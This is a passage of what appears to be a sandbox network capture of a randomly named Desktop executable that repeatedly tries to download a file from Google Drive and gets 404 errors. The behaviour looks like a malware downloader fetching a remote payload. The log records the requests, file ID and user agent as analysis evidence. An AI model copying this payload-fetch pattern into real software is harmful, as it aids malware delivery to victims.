2025-01-10 14:32:41 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:32:41 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-IsahVzFmZJapa9lR62IyUw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49753	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:32:42 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:32:42 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC77vVWG8zv1oikIQqRX_5zPlkDD9ufthX9c9uPCe3w68TtvECDDF_tqj7IExgwe1FTQf6_IX_s Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:32:42 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-_RsSWx8ndAptCJ5WgTnBew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:32:42 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 49 72 31 74 72 58 39 34 6c 52 48 30 71 5a 4a 2d 6b 44 51 42 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="mIr1trX94lRH0qZJ-kDQBg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49754	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:32:52 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:32:53 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:32:52 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-gudzIBQxhe73f-K1dXUa9w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49755	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:32:53 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:32:53 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC41J0T9rcwAmomBrR5aj2KfVX_uwSnsubyD5rR_edViruEMXNBweUxlqUOwtQh9uNGp Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:32:53 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-6q3oQVu49o-Zlobz29u_iw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:32:53 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 44 63 6d 57 42 39 6d 73 79 48 76 45 62 35 44 50 79 65 6d 38 63 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="DcmWB9msyHvEb5DPyem8cA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49756	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:33:03 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:33:04 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:33:04 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-LGrvnoOdpWo18uncPgPbrw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49757	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:33:04 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:33:04 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgS7PyZKIdu5fsvm96mx7w5dvyIfBsgC8eY2aGpW8MzvaqTUz6Leup5ZZjrsgqP1pmE3 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:33:04 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-fKS1nCBZopWdm8Ixn1kRZQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:33:04 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 67 36 65 4e 6b 37 73 51 55 57 4a 30 66 70 2d 39 43 72 69 54 74 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="g6eNk7sQUWJ0fp-9CriTtQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49758	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:33:15 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:33:15 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:33:15 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-vqoR29EQIZC6QmdJvgsOpg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49759	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:33:15 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:33:16 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgSqgw4Xcnoq_mmC0w82Es0CkINiBSNv3gdMKqZSIRhVhWRfYxEfbngKg-jXGBbBOiX8 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:33:15 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-boktPEdIAOX-cEICFdwjaw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:33:16 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4f 52 5a 31 53 70 57 71 58 36 49 69 4c 75 46 34 4f 4b 32 56 55 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ORZ1SpWqX6IiLuF4OK2VUw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49760	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:33:26 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
